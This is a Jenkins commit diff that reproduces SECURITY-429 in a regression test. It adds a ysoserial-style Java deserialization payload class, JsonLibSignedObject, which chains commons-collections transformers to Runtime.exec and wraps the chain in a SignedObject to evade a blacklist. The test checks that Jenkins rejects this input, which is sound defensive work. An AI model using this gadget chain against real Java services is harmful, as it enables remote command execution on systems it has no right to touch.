[SECURITY-429] Reproduced in test.

test/src/test/java/jenkins/security/Security218CliTest.java

@@ -170,6 +170,14 @@ public void ldap() throws Exception {
         probe(Payload.Ldap, PayloadCaller.EXIT_CODE_REJECTED);
     }
 
+    @Ignore("TODO fails unless ^java[.]security[.]SignedObject is blacklisted")
+    @PresetData(PresetData.DataSet.ANONYMOUS_READONLY)
+    @Test
+    @Issue("SECURITY-429")
+    public void jsonLibSignedObject() throws Exception {
+        probe(Payload.JsonLibSignedObject, PayloadCaller.EXIT_CODE_REJECTED);
+    }
+
     private void probe(Payload payload, int expectedResultCode) throws Exception {
         File file = File.createTempFile("security-218", payload + "-payload");
         File moved = new File(file.getAbsolutePath() + "-moved");

test/src/test/java/jenkins/security/security218/Payload.java

@@ -47,6 +47,7 @@ public enum Payload {
     Spring1(Spring1.class),
     Spring2(Spring2.class),
     Ldap(Ldap.class),
+    JsonLibSignedObject(JsonLibSignedObject.class),
     ;
 
     private final Class<? extends ObjectPayload> payloadClass;

test/src/test/java/jenkins/security/security218/ysoserial/payloads/JsonLibSignedObject.java

@@ -0,0 +1,158 @@
+package jenkins.security.security218.ysoserial.payloads;
+
+import java.io.ObjectStreamException;
+import java.io.Serializable;
+import java.lang.reflect.Field;
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
+import java.security.PrivateKey;
+import java.security.PublicKey;
+import java.security.Signature;
+import java.security.SignedObject;
+import java.util.Comparator;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.concurrent.ConcurrentSkipListSet;
+import java.util.concurrent.CopyOnWriteArraySet;
+import net.sf.json.JSONArray;
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.collection.AbstractCollectionDecorator;
+import org.apache.commons.collections.functors.ChainedTransformer;
+import org.apache.commons.collections.functors.ConstantTransformer;
+import org.apache.commons.collections.functors.InvokerTransformer;
+import org.apache.commons.collections.keyvalue.TiedMapEntry;
+import org.apache.commons.collections.map.LazyMap;
+import org.apache.commons.collections.map.ReferenceMap;
+import org.apache.commons.collections.set.ListOrderedSet;
+
+/** @author an independent security researcher reporting to Beyond Security’s SecuriTeam Secure Disclosure program */
+public class JsonLibSignedObject implements ObjectPayload<Object> {
+
+    @Override
+    public Object getObject(String cmd) throws Exception {
+        final String[] execArgs = new String[] { cmd };
+
+        final Transformer[] transformers = new Transformer[] {
+                new ConstantTransformer(Runtime.class),
+                new InvokerTransformer("getMethod", new Class[] { String.class,
+                        Class[].class }, new Object[] { "getRuntime",
+                        new Class[0] }),
+                new InvokerTransformer("invoke", new Class[] { Object.class,
+                        Object[].class }, new Object[] { null, new Object[0] }),
+                new InvokerTransformer("exec", new Class[] { String.class },
+                        execArgs), new ConstantTransformer(1) };
+
+        Transformer transformerChain = new ChainedTransformer(transformers);
+
+        final Map innerMap = new HashMap();
+
+        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
+
+        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
+
+        HashSet map = new HashSet(1);
+        map.add("foo");
+        Field f = null;
+        try {
+            f = HashSet.class.getDeclaredField("map");
+        } catch (NoSuchFieldException e) {
+            f = HashSet.class.getDeclaredField("backingMap");
+        }
+
+        f.setAccessible(true);
+        HashMap innimpl = (HashMap) f.get(map);
+
+        Field f2 = null;
+        try {
+            f2 = HashMap.class.getDeclaredField("table");
+        } catch (NoSuchFieldException e) {
+            f2 = HashMap.class.getDeclaredField("elementData");
+        }
+
+        f2.setAccessible(true);
+        Object[] array2 = (Object[]) f2.get(innimpl);
+
+        Object node = array2[0];
+        if (node == null) {
+            node = array2[1];
+        }
+
+        Field keyField = null;
+        try {
+            keyField = node.getClass().getDeclaredField("key");
+        } catch (Exception e) {
+            keyField = Class.forName("java.util.MapEntry").getDeclaredField(
+                    "key");
+        }
+
+        keyField.setAccessible(true);
+        keyField.set(node, entry);
+
+        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
+        keyPairGenerator.initialize(1024);
+        KeyPair keyPair = keyPairGenerator.genKeyPair();
+        PrivateKey privateKey = keyPair.getPrivate();
+        PublicKey publicKey = keyPair.getPublic();
+
+        Signature signature = Signature.getInstance(privateKey.getAlgorithm());
+        SignedObject payload = new SignedObject(map, privateKey, signature);
+        JSONArray array = new JSONArray();
+
+        array.add("asdf");
+
+        ListOrderedSet set = new ListOrderedSet();
+        Field f1 = AbstractCollectionDecorator.class
+                .getDeclaredField("collection");
+        f1.setAccessible(true);
+        f1.set(set, array);
+
+        DummyComperator comp = new DummyComperator();
+        ConcurrentSkipListSet csls = new ConcurrentSkipListSet(comp);
+        csls.add(payload);
+
+        CopyOnWriteArraySet a1 = new CopyOnWriteArraySet();
+        CopyOnWriteArraySet a2 = new CopyOnWriteArraySet();
+
+        a1.add(set);
+        Container c = new Container(csls);
+        a1.add(c);
+
+        a2.add(csls);
+        a2.add(set);
+
+        ReferenceMap flat3map = new ReferenceMap();
+        flat3map.put(new Container(a1), "asdf");
+        flat3map.put(new Container(a2), "asdf");
+
+        return flat3map;
+    }
+
+    static class Container implements Serializable {
+
+        private Object o;
+
+        public Container(Object o) {
+            this.o = o;
+        }
+
+        private Object writeReplace() throws ObjectStreamException {
+            return o;
+        }
+
+    }
+
+    static class DummyComperator implements Comparator, Serializable {
+
+        public int compare(Object arg0, Object arg1) {
+            // TODO Auto-generated method stub
+            return 0;
+        }
+
+        private Object writeReplace() throws ObjectStreamException {
+            return null;
+        }
+
+    }
+
+}